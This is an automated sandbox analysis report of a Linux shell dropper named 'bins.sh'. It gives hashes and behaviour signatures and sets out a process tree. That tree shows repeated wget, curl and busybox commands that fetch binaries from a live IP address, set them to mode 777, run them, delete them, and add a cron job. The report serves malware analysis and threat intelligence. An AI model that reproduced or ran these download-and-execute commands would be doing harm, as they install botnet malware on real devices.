Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    20/11/2024, 14:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7d4915a02bbc4a1ae7b70fed6d3293c1

  • SHA1

    b164b6db9f2e8375942f65d81fdbee4d41650560

  • SHA256

    64de2e23c0977b9b1adb01d6f576ff8a240c8739f87d4cc23bb2e58d9a636926

  • SHA512

    6830a2ff2527d337e1e6b83939662fb92e363729989c13b85ad949521942da0b5acfade63e558e549f074167b1367ba6ae1d980f9217d63cc670c0d53ed0ce28

  • SSDEEP

    192:jrE/uXvn65QyKeioEWfPDt92igPn12igPnA/WXvn65QjeiojPDv:jrE2Xvn6uymWp92igPn12igPnAeXvn61

Malware Config

Signatures

  • Contacts a large (2095) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:720
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:726
        • /usr/bin/wget
          wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Writes file to tmp directory
          PID:728
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Writes file to tmp directory
          PID:744
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Writes file to tmp directory
          PID:750
        • /bin/chmod
          chmod 777 uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • File and Directory Permissions Modification
          PID:751
        • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          ./uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
          • Executes dropped EXE
          PID:752
        • /bin/rm
          rm uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM
          2⤵
            PID:754
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Writes file to tmp directory
            PID:755
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Writes file to tmp directory
            PID:757
          • /bin/chmod
            chmod 777 Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            ./Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
            • Executes dropped EXE
            PID:759
          • /bin/rm
            rm Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE
            2⤵
              PID:761
            • /usr/bin/wget
              wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Writes file to tmp directory
              PID:762
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Writes file to tmp directory
              PID:766
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Writes file to tmp directory
              PID:787
            • /bin/chmod
              chmod 777 eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              ./eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:794
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:796
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                    • Reads runtime system information
                    PID:797
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:799
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      • Reads runtime system information
                      PID:801
                • /bin/rm
                  rm eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ
                  2⤵
                    PID:805
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                    2⤵
                      PID:811
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                      2⤵
                        PID:895
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                        2⤵
                        • Writes file to tmp directory
                        PID:902
                      • /bin/chmod
                        chmod 777 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                        2⤵
                        • File and Directory Permissions Modification
                        PID:907
                      • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                        ./6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                        2⤵
                        • Executes dropped EXE
                        PID:909
                      • /bin/rm
                        rm 6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik
                        2⤵
                          PID:911
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                          2⤵
                            PID:912
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                            2⤵
                              PID:913
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              2⤵
                              • Writes file to tmp directory
                              PID:914
                            • /bin/chmod
                              chmod 777 WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              2⤵
                              • File and Directory Permissions Modification
                              PID:915
                            • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              ./WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              2⤵
                              • Executes dropped EXE
                              PID:916
                            • /bin/rm
                              rm WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq
                              2⤵
                                PID:918
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                2⤵
                                  PID:919
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                  2⤵
                                    PID:924
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:925
                                  • /bin/chmod
                                    chmod 777 bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:926
                                  • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    ./bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    2⤵
                                    • Executes dropped EXE
                                    PID:927
                                  • /bin/rm
                                    rm bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN
                                    2⤵
                                      PID:929
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                      2⤵
                                        PID:930
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                        2⤵
                                          PID:931
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:932
                                        • /bin/chmod
                                          chmod 777 yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:933
                                        • /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          ./yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                          • Executes dropped EXE
                                          PID:934
                                        • /bin/rm
                                          rm yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc
                                          2⤵
                                            PID:936
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                            2⤵
                                              PID:937
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                              2⤵
                                                PID:938
                                              • /bin/busybox
                                                /bin/busybox wget http://216.126.231.240/bins/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:943
                                              • /bin/chmod
                                                chmod 777 SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:948
                                              • /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                                ./SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                                2⤵
                                                • Executes dropped EXE
                                                PID:949
                                              • /bin/rm
                                                rm SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX
                                                2⤵
                                                  PID:951
                                                • /usr/bin/wget
                                                  wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                  2⤵
                                                    PID:952
                                                  • /usr/bin/curl
                                                    curl -O http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                    2⤵
                                                      PID:953
                                                    • /bin/busybox
                                                      /bin/busybox wget http://216.126.231.240/bins/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:954
                                                    • /bin/chmod
                                                      chmod 777 ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:963
                                                    • /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                      ./ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                      2⤵
                                                      • Executes dropped EXE
                                                      PID:964
                                                    • /bin/rm
                                                      rm ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5
                                                      2⤵
                                                        PID:966
                                                      • /usr/bin/wget
                                                        wget http://216.126.231.240/bins/ReS1F25hvGPCIW4ckz6bbIqnItZmdnBSxm
                                                        2⤵
                                                          PID:967

                                                      Network

                                                      MITRE ATT&CK Enterprise v15

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      • /tmp/6C6vkRTxj30mARZsdGPnPAoIUz2I2uJ4Ik

                                                        Filesize

                                                        99KB

                                                        MD5

                                                        9438d9bc392bcf300a5583b6df5bc8f6

                                                        SHA1

                                                        375a6ae34b516f6f3eeea8030c4084f585017efa

                                                        SHA256

                                                        68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                        SHA512

                                                        1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                                      • /tmp/ELfm8a3wKCyvHLOz2xFrbBioqCoX4SPqt5

                                                        Filesize

                                                        122KB

                                                        MD5

                                                        cd3d4b9c643e5b473fb4d88ed05f0716

                                                        SHA1

                                                        64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                        SHA256

                                                        0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                        SHA512

                                                        164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                                      • /tmp/SfInoCDmB6zQx1NlaBv6CjHcnO0lcJ3wNX

                                                        Filesize

                                                        111KB

                                                        MD5

                                                        ca897a38f23ec23521ce0b1b83f8422d

                                                        SHA1

                                                        b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                        SHA256

                                                        043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                        SHA512

                                                        10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                                      • /tmp/Ukih2QCou2Bv2MiSeDYbJGnFUPtZA45aKE

                                                        Filesize

                                                        127KB

                                                        MD5

                                                        89077b7bd4bcafca7713be43635c4862

                                                        SHA1

                                                        fc02edb8fba29ea8ee99e6157ef8560334530052

                                                        SHA256

                                                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                        SHA512

                                                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                                      • /tmp/WoLIUlBg806gX5DEGrIDeILtPvI7zIJcpq

                                                        Filesize

                                                        141KB

                                                        MD5

                                                        3ca8decdb1e52c423c521bfff02ac200

                                                        SHA1

                                                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                        SHA256

                                                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                        SHA512

                                                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                                      • /tmp/bCwfYiSWdnPM8nF9QCNQFauUupVa11ocfN

                                                        Filesize

                                                        119KB

                                                        MD5

                                                        1b166b95f9cb4b079ef1b9ec8363ddf3

                                                        SHA1

                                                        0d8eb08add467b3b5474f9b25909297fe7c2839c

                                                        SHA256

                                                        94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                                        SHA512

                                                        983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                                      • /tmp/eUBxrY5VHMCCk9EGNgKSMCoNXHYHQEE6PQ

                                                        Filesize

                                                        151KB

                                                        MD5

                                                        6c583043d91c55aa470c08c87058e917

                                                        SHA1

                                                        abf65a5b9bba69980278ad09356e53de8bb89439

                                                        SHA256

                                                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                        SHA512

                                                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                                      • /tmp/uD9ClQSN1Ei2Ufba1Ga3i8snS6g54PEcNM

                                                        Filesize

                                                        112KB

                                                        MD5

                                                        05d7857dcead18bbd86d2935f591873c

                                                        SHA1

                                                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                                                        SHA256

                                                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                                        SHA512

                                                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                                      • /tmp/yhuFpgnqmroDbPC5o9RCJieYW1CFOnQDYc

                                                        Filesize

                                                        177KB

                                                        MD5

                                                        786d75a158fe731feca3880f436082c0

                                                        SHA1

                                                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                                        SHA256

                                                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                                        SHA512

                                                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                                      • /var/spool/cron/crontabs/tmp.jZzzMI

                                                        Filesize

                                                        210B

                                                        MD5

                                                        34ed582a7464dbdf68ed1e8314dcb948

                                                        SHA1

                                                        14210379c3eb2305e7186b84d83b8838efea5978

                                                        SHA256

                                                        2ebc2908a9436a7843e8cef1af10708930819a0238010a01e48ef513becc3690

                                                        SHA512

                                                        f0cf13074bf0e7b23ad7ff7c2ba2d667525dcccd23609dc580a4b0ae41cb5f3e37fe25fe0918c889055dccd091cc0f438405242fb53a53c27a295ba76223a14b